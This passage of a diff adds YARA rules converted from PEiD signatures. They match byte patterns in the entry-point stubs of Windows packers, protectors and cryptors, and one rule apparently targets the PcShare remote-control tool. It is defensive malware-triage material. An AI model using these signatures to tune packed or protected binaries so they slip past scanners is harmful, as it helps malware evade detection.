+        $a = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01467_PC_Guard_for_Win32_5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01468_PC_Guard_for_Win32_v5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01469_PC_PE_Encryptor_Alpha_preview_
+{
+    meta:
+        description = "[PC PE Encryptor Alpha preview]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01470_PC_Shrinker_v0_20_
+{
+    meta:
+        description = "[PC Shrinker v0.20]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01471_PC_Shrinker_v0_29_
+{
+    meta:
+        description = "[PC Shrinker v0.29]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01472_PC_Shrinker_v0_45_
+{
+    meta:
+        description = "[PC Shrinker v0.45]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01473_PC_Shrinker_v0_71_
+{
+    meta:
+        description = "[PC Shrinker v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01474_PC_Guard_5_00d_
+{
+    meta:
+        description = "[PC-Guard 5.00d]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01475_PC_Guard_v3_03d__v3_05d_
+{
+    meta:
+        description = "[PC-Guard v3.03d, v3.05d]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01476_PC_Guard_v4_05d__v4_10d__v4_15d_
+{
+    meta:
+        description = "[PC-Guard v4.05d, v4.10d, v4.15d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01477_PC_Guard_v5_00d_
+{
+    meta:
+        description = "[PC-Guard v5.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01478_PCIENC_Cryptor_
+{
+    meta:
+        description = "[PCIENC Cryptor]"
+        ep_only = "false"
+    strings:
+        $a = {06 50 43 49 45 4E}
+    condition:
+        $a
+}
+
+rule PEiD_01479_PCPEC__alpha___preview__
+{
+    meta:
+        description = "[PCPEC \"alpha - preview\"]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01480_PCPEC__alpha__
+{
+    meta:
+        description = "[PCPEC [alpha]]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01481_PCrypt_v3_51_
+{
+    meta:
+        description = "[PCrypt v3.51]"
+        ep_only = "true"
+    strings:
+        $a = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01482_PcShare____________v4_0_____________
+{
+    meta:
+        description = "[Convert Base64 to ASCII UGNTaGFyZSDDjsOEwrzDvsOAwqbCsMOzw4bDtyB2NC4wIC0+IMOOw57Cv8OJwrfDh8OSw6k=]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01483_PCShrink_0_71_beta_
+{
+    meta:
+        description = "[PCShrink 0.71 beta]"
+        ep_only = "true"
+    strings:
+        $a = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01484_PCShrink_v0_40b_
+{
+    meta:
+        description = "[PCShrink v0.40b]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01485_PDS_graphics_file_format_
+{
+    meta:
+        description = "[PDS graphics file format]"
+        ep_only = "false"
+    strings:
+        $a = {49 4D 41 47 45 49 44 45 4E 54 49 46 49 45 52 20}
+    condition:
+        $a
+}
+
+rule PEiD_01486_PE_Crypt_v1_00_v1_01_
+{
+    meta:
+        description = "[PE Crypt v1.00/v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01487_PE_Crypt_v1_02_
+{
+    meta:
+        description = "[PE Crypt v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01488_PE_Crypt32__Console_v1_0__v1_01__v1_02__
+{
+    meta:
+        description = "[PE Crypt32 (Console v1.0, v1.01, v1.02)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01489_PE_Crypt32_v1_02_
+{
+    meta:
+        description = "[PE Crypt32 v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01490_PE_Diminisher_V0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher V0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01491_PE_Diminisher_v0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher v0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01492_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01493_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01494_PE_Encrypt_1_0____Liwuyue_
+{
+    meta:
+        description = "[PE Encrypt 1.0 -> Liwuyue]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01495_PE_Intro_v1_0_
+{
+    meta:
+        description = "[PE Intro v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01496_PE_Lock_NT_v2_01_
+{
+    meta:
+        description = "[PE Lock NT v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01497_PE_Lock_NT_v2_02c_
+{
+    meta:
+        description = "[PE Lock NT v2.02c]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01498_PE_Lock_NT_v2_03_
+{
+    meta:
+        description = "[PE Lock NT v2.03]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01499_PE_Lock_NT_v2_04_
+{
+    meta:
+        description = "[PE Lock NT v2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01500_PE_Lock_v1_06_
+{
+    meta:
+        description = "[PE Lock v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01501_Pe_Ninja_____DzA_kRAker__TNT_
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01502_Pe_Ninja_____DzA_kRAker__TNT__
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01503_PE_Ninja_v1_0_____DzA_kRAker_TNT_
+{
+    meta:
+        description = "[PE Ninja v1.0 -> +DzA kRAker TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01504_PE_Pack_v0_99_
+{
+    meta:
+        description = "[PE Pack v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01505_PE_Packer_
+{
+    meta:
+        description = "[PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01506_PE_Password_v0_2_SMT_SMF_
+{
+    meta:
+        description = "[PE Password v0.2 SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01507_PE_Protect_0_9_
+{
+    meta:
+        description = "[PE Protect 0.9]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01508_PE_Protect_v0_9_
+{
+    meta:
+        description = "[PE Protect v0.9]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01509_PE_Protector_0_9_3____CRYPToCRACk_
+{
+    meta:
+        description = "[PE Protector 0.9.3 -> CRYPToCRACk]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01510_PE_Spin_0_b_
+{
+    meta:
+        description = "[PE Spin 0.b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01511_PE_Spin_v0_4x_
+{
+    meta:
+        description = "[PE Spin v0.4x]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01512_PE_Spin_v0_b_
+{
+    meta:
+        description = "[PE Spin v0.b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01513_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01514_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01515_PE_Armor_0_46____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01516_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01517_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01518_PE_Armor_0_49____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.49 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01519_PE_Armor_0_760_0_765____hying_
+{
+    meta:
+        description = "[PE-Armor 0.760-0.765 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01520_PE_Armor_V0_760_V0_765____hying_
+{
+    meta:
+        description = "[PE-Armor V0.760-V0.765 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01521_PE_Crypt_1_02_
+{
+    meta:
+        description = "[PE-Crypt 1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01522_PE_Crypter_
+{
+    meta:
+        description = "[PE-Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D EB 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01523_PE_PACK_0_99_
+{
+    meta:
+        description = "[PE-PACK 0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01524_PE_PaCK_1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK 1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
